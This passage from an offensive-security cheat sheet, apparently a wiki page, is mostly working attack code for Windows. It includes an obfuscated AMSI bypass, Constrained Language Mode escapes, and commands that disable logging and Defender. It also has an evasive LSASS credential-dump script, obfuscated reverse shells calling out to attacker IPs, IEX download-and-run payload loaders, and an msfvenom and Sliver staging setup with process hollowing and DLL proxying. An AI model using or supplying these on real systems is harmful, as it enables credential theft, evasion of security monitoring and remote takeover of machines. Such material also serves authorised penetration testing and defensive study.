[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType((&amp;quot;{5}{2}{0}{1}{3}{6}{4}&amp;quot; -f &#039;ut&#039;,(&#039;oma&#039;+&#039;t&#039;+&#039;ion.&#039;),&#039;.A&#039;,(&#039;Ams&#039;+&#039;iUt&#039;),&#039;ls&#039;,(&#039;S&#039;+&#039;ystem.&#039;+&#039;Manage&#039;+&#039;men&#039;+&#039;t&#039;),&#039;i&#039;)).GetField((&amp;quot;{1}{2}{0}&amp;quot; -f (&#039;Co&#039;+&#039;n&#039;+&#039;text&#039;),(&#039;am&#039;+&#039;s&#039;),&#039;i&#039;),[Reflection.BindingFlags](&amp;quot;{4}{2}{3}{0}{1}&amp;quot; -f(&#039;b&#039;+&#039;lic,Sta&#039;+&#039;ti&#039;),&#039;c&#039;,&#039;P&#039;,&#039;u&#039;,(&#039;N&#039;+&#039;on&#039;))).GetValue($null),0x41414141)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]&lt;br /&gt;
&lt;br /&gt;
==== Bypass CLM (Constrained Language Mode) ====&lt;br /&gt;
&lt;br /&gt;
Escapes for Constrained Language Mode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Escape 1&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode&lt;br /&gt;
# Escape 2&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
# Escape 3&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 4&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 5&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 6&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 7&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;signatures&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.List[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;optimizedAstCache&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.Dictionary[string,System.Management.Automation.Ast]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 8&lt;br /&gt;
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass logging ====&lt;br /&gt;
&lt;br /&gt;
Logging evasion techniques:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Technique 1: Disable Script Block Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 2: Disable Transcription Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 3: Delete the log files from the system (requires admin privileges)&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force&lt;br /&gt;
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)&lt;br /&gt;
Invoke-Expression &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://example.com/payload.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Disable MS Defender (Require elevation) ====&lt;br /&gt;
&lt;br /&gt;
Turning off Windows Defender: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MPPreference&lt;br /&gt;
Set-MPPreference -DisableRealTimeMonitoring $true&lt;br /&gt;
Set-MPPreference -DisableIOAVProtection $true&lt;br /&gt;
Set-MPPreference -DisableIntrusionPreventionSystem $true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Add folder exclusion ====&lt;br /&gt;
&lt;br /&gt;
Adding a folder exclusion &amp;lt;code&amp;gt;Add-MpPreference -ExclusionPath &amp;quot;C:\temp&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Checking exclusions&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MpPreference | Select-Object -Property ExclusionPath&lt;br /&gt;
ExclusionPath&lt;br /&gt;
-------------&lt;br /&gt;
{C:\temp}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LSASS dumping without triggering Defender ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$S = &amp;quot;C:\temp&amp;quot;&lt;br /&gt;
$P = (Get-Process lsass)&lt;br /&gt;
$A = [PSObject].Assembly.GetType(&#039;Syst&#039;+&#039;em.Manage&#039;+&#039;ment.Autom&#039;+&#039;ation.Windo&#039;+&#039;wsErrorRe&#039;+&#039;porting&#039;)&lt;br /&gt;
$B = $A.GetNestedType(&#039;Nativ&#039;+&#039;eMethods&#039;, &#039;Non&#039;+&#039;Public&#039;)&lt;br /&gt;
$C = [Reflection.BindingFlags] &#039;NonPublic, Static&#039;&lt;br /&gt;
$D = $B.GetMethod(&#039;MiniDum&#039;+&#039;pWriteDump&#039;, $C)&lt;br /&gt;
$PF = &amp;quot;$($P.Name)_$($P.Id).dmp&amp;quot;&lt;br /&gt;
$PDP = Join-Path $S $PF&lt;br /&gt;
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)&lt;br /&gt;
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))&lt;br /&gt;
$F.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shells ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Alias -Name K -Value Out-String&lt;br /&gt;
Set-Alias -Name nothingHere -Value iex&lt;br /&gt;
$BT = New-Object &amp;quot;S`y`stem.Net.Sockets.T`CPCl`ient&amp;quot;($args[0],$args[1]);&lt;br /&gt;
$replace = $BT.GetStream();&lt;br /&gt;
[byte[]]$B = 0..(32768*2-1)|%{0};&lt;br /&gt;
$B = ([text.encoding]::UTF8).GetBytes(&amp;quot;(c) Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
[byte[]]$int = 0..(10000+55535)|%{0};&lt;br /&gt;
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;&lt;br /&gt;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);&lt;br /&gt;
$I = (nothingHere $ROM 2&amp;gt;&amp;amp;1 | K );&lt;br /&gt;
$I2  = $I + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$U = [text.encoding]::ASCII.GetBytes($I2);&lt;br /&gt;
$replace.Write($U,0,$U.Length);&lt;br /&gt;
$replace.Flush()};&lt;br /&gt;
$BT.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$SS = $J.GetStream();&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes(&amp;quot;Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);&lt;br /&gt;
$GG = (i`eX $DD 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$H  = $GG + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$L = ([text.encoding]::UTF8).GetBytes($H);&lt;br /&gt;
$SS.Write($L,0,$L.Length);&lt;br /&gt;
$SS.Flush()};&lt;br /&gt;
$J.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$I = $c.GetStream();&lt;br /&gt;
[byte[]]$U = 0..(2-shl15)|%{0};&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes(&amp;quot;Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);&lt;br /&gt;
$a = (iex $D 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$r  = $a + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$m = ([text.encoding]::ASCII).GetBytes($r);&lt;br /&gt;
$I.Write($m,0,$m.Length);&lt;br /&gt;
$I.Flush()};&lt;br /&gt;
$c.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
Reverse PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;10.10.14.5&#039;, 4445);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do{&lt;br /&gt;
        $writer.Write(&amp;quot;PS&amp;gt; &amp;quot;);&lt;br /&gt;
        $writer.Flush();&lt;br /&gt;
        $read = $null;&lt;br /&gt;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}&lt;br /&gt;
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);&lt;br /&gt;
        $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
        $sendback2  = $sendback;&lt;br /&gt;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);&lt;br /&gt;
        $writer.Write($sendbyte,0,$sendbyte.Length);&lt;br /&gt;
}While ($true);&lt;br /&gt;
$writer.close();$socket.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PowerShell Download payload ====&lt;br /&gt;
&lt;br /&gt;
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (new-object net.webclient).downloaddata(&amp;quot;http://10.10.16.74:8080/payload.exe&amp;quot;)&lt;br /&gt;
[System.Reflection.Assembly]::Load($bytes)&lt;br /&gt;
$BindingFlags= [Reflection.BindingFlags] &amp;quot;NonPublic,Static&amp;quot;&lt;br /&gt;
$main = [Shell].getmethod(&amp;quot;Main&amp;quot;, $BindingFlags)&lt;br /&gt;
$main.Invoke($null, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tools that may help with AV Evasion:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/phra/PEzor https://github.com/phra/PEzor]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]&lt;br /&gt;
&lt;br /&gt;
== C2 Frameworks ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Bypassing defender with sliver and staged process hollowing ===&lt;br /&gt;
&lt;br /&gt;
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.&lt;br /&gt;
&lt;br /&gt;
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.&lt;br /&gt;
&lt;br /&gt;
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would&#039;ve helped us circumvent guest access blocking.&lt;br /&gt;
&lt;br /&gt;
First generate a shellcode using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# Snippet from process hollowing code. See CheatSheet II for full code.&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
            string shellcodePath = &amp;quot;\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No I will start an smbserver on my kali and setup sliver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a new profile that will be we will use for our staging listener.&lt;br /&gt;
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode&lt;br /&gt;
# Creata a steage listener and link it to our profile.&lt;br /&gt;
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size&lt;br /&gt;
# Last start a listener on mTLS.&lt;br /&gt;
mtls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Convert .bin to shellcode \x hex ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./binnim ~/shellcode.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Proxying ==&lt;br /&gt;
&lt;br /&gt;
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app).&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt; * Automatically generate Visual Studio solutions for vulnerable DLLs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#pragma once&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleW=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleW,@6&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsA=C:\\Windows\\System32\\sspicli.AddCredentialsA,@7&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsW=C:\\Windows\\System32\\sspicli.AddCredentialsW,@8&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageA=C:\\Windows\\System32\\sspicli.AddSecurityPackageA,@9&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageW=C:\\Windows\\System32\\sspicli.AddSecurityPackageW,@10&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ApplyControlToken=C:\\Windows\\System32\\sspicli.ApplyControlToken,@11&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordA=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordA,@12&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordW=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordW,@13&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CompleteAuthToken=C:\\Windows\\System32\\sspicli.CompleteAuthToken,@14&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredMarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredMarshalTargetInfo,@15&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredUnmarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredUnmarshalTargetInfo,@16&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DecryptMessage=C:\\Windows\\System32\\sspicli.DecryptMessage,@17&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityContext=C:\\Windows\\System32\\sspicli.DeleteSecurityContext,@18&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageA=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageA,@19&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageW=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageW,@20&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EncryptMessage=C:\\Windows\\System32\\sspicli.EncryptMessage,@21&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesA=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesA,@22&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesW=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesW,@23&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ExportSecurityContext=C:\\Windows\\System32\\sspicli.ExportSecurityContext,@24&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeContextBuffer=C:\\Windows\\System32\\sspicli.FreeContextBuffer,@25&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeCredentialsHandle=C:\\Windows\\System32\\sspicli.FreeCredentialsHandle,@26&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetSecurityUserInfo=C:\\Windows\\System32\\sspicli.GetSecurityUserInfo,@27&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExA=C:\\Windows\\System32\\sspicli.GetUserNameExA,@28&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExW=C:\\Windows\\System32\\sspicli.GetUserNameExW,@29&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImpersonateSecurityContext=C:\\Windows\\System32\\sspicli.ImpersonateSecurityContext,@30&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextA=C:\\Windows\\System32\\sspicli.ImportSecurityContextA,@31&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextW=C:\\Windows\\System32\\sspicli.ImportSecurityContextW,@32&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceA=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceA,@33&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceW=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceW,@34&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextA=C:\\Windows\\System32\\sspicli.InitializeSecurityContextA,@35&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextW=C:\\Windows\\System32\\sspicli.InitializeSecurityContextW,@36&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LogonUserExExW=C:\\Windows\\System32\\sspicli.LogonUserExExW,@37&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaCallAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaCallAuthenticationPackage,@38&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectLocalUser=C:\\Windows\\System32\\sspicli.LsaConnectLocalUser,@39&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectUntrusted=C:\\Windows\\System32\\sspicli.LsaConnectUntrusted,@40&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaDeregisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaDeregisterLogonProcess,@41&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaEnumerateLogonSessions=C:\\Windows\\System32\\sspicli.LsaEnumerateLogonSessions,@42&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaFreeReturnBuffer=C:\\Windows\\System32\\sspicli.LsaFreeReturnBuffer,@43&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaGetLogonSessionData=C:\\Windows\\System32\\sspicli.LsaGetLogonSessionData,@44&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLogonUser=C:\\Windows\\System32\\sspicli.LsaLogonUser,@45&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLookupAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaLookupAuthenticationPackage,@46&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaRegisterLogonProcess,@47&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaRegisterPolicyChangeNotification,@48&amp;quot;)&lt;br /&gt;
